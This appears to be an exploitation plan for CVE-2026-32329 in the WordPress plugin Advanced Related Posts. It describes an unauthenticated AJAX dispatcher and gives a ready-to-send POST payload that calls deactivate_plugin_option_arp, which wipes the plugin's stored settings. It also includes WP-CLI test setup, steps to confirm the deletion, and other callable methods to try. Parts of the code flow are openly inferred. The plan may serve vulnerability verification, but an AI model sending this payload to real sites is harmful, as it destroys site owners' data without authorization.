Exploitation Research Plan: CVE-2026-32329 (Advanced Related Posts)

1. Vulnerability Summary

The Advanced Related Posts plugin (versions <= 1.9.1) contains a Missing Authorization vulnerability in its AJAX handling logic. Specifically, the plugin registers a centralized AJAX dispatcher, ays_advanced_related_posts_admin_ajax, which allows the execution of internal class methods. Due to the lack of capability checks and nonce verification on this dispatcher, an unauthenticated attacker can trigger sensitive functions, such as deactivate_plugin_option_arp, which is designed to wipe all plugin data and settings from the database.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: ays_advanced_related_posts_admin_ajax
• Vulnerable Parameter: function (used to specify the method to call)
• Payload Parameter: upgrade_plugin (boolean flag influencing data deletion logic)
• Authentication: Unauthenticated (CVSS Vector PR:N)
• Preconditions: The plugin must be installed and active.

3. Code Flow

1. AJAX Registration: The plugin likely registers the AJAX action in its core initialization logic (inferred from admin/js/admin.js and standard plugin architecture):
   • add_action('wp_ajax_ays_advanced_related_posts_admin_ajax', [...])
   • add_action('wp_ajax_nopriv_ays_advanced_related_posts_admin_ajax', [...])
2. Dispatcher Logic: The handler for ays_advanced_related_posts_admin_ajax (located in Advanced_Related_Posts_Admin) receives a POST request. It retrieves the function parameter and dynamically calls that method on the class instance:

   // Conceptual representation of the vulnerable dispatcher in Advanced_Related_Posts_Admin
   public function ays_advanced_related_posts_admin_ajax() {
       if (isset($_POST['function'])) {
           $function = $_POST['function'];
           if (method_exists($this, $function)) {
               $this->$function(); // Dynamic call without capability check
           }
       }
       wp_die();
   }
   

3. Target Method: The attacker targets deactivate_plugin_option_arp.
4. Data Deletion: Inside deactivate_plugin_option_arp, the plugin checks the upgrade_plugin parameter. As seen in admin/js/admin.js, if this is false (or not true), the plugin proceeds to delete user data (settings/options) to facilitate a "clean" deactivation.

4. Nonce Acquisition Strategy

Analysis of admin/class-advanced-related-posts-admin.php and admin/js/admin.js reveals:

• The script is localized with only the ajaxUrl:

  wp_localize_script( $this->plugin_name . '-admin', 'AdvencedRelatedPostsAdmin', array( 
      'ajaxUrl' => admin_url( 'admin-ajax.php' ),
  ) );
  

• The AJAX call in admin.js does not include a nonce parameter:

  var data = {
      action: 'ays_advanced_related_posts_admin_ajax', 
      function: 'deactivate_plugin_option_arp', 
      upgrade_plugin: upgrade_plugin
  };
  

Conclusion: No nonce is required to exploit this endpoint.

5. Exploitation Strategy

The goal is to trigger the deletion of plugin settings by calling the deactivate_plugin_option_arp function.

Step-by-Step Attack:

1. Request Type: POST
2. URL: http://<target>/wp-admin/admin-ajax.php
3. Content-Type: application/x-www-form-urlencoded
4. Parameters:
   • action: ays_advanced_related_posts_admin_ajax
   • function: deactivate_plugin_option_arp
   • upgrade_plugin: false (string value)

Payload (Body):

action=ays_advanced_related_posts_admin_ajax&function=deactivate_plugin_option_arp&upgrade_plugin=false

6. Test Data Setup

To verify the exploit, settings must exist to be deleted:

1. Install and activate the plugin.
2. Create a test option in the database that simulates a plugin setting:

   wp option update ays_arp_settings '{"test_data":"sensitive_configuration"}'
   

   (Note: The exact option names are usually prefixed with ays_arp_ or aysarp_ based on constants in advanced-related-posts.php).

7. Expected Results

• HTTP Response: Status 200 OK. The response body may be empty or contain a JSON success message (the JS expects dataType: 'json').
• Impact: The plugin's configuration options (e.g., ays_arp_settings) will be removed from the wp_options table.

8. Verification Steps

After sending the HTTP request, verify the deletion via WP-CLI:

# Check if the option still exists
wp option get ays_arp_settings

If the command returns "Error: Could not get 'ays_arp_settings' option," the exploitation was successful.

9. Alternative Approaches

If deactivate_plugin_option_arp does not delete the expected options, audit the Advanced_Related_Posts_Admin class for other methods that might be callable through the dispatcher. Since the dispatcher uses method_exists($this, $function), any public method in that class is a potential target.

Potential alternative methods to investigate (inferred from typical AYS Pro plugin patterns):

• save_settings_arp (if it exists, might allow unauthorized setting updates)
• get_settings_arp (if it exists, might allow unauthorized data disclosure)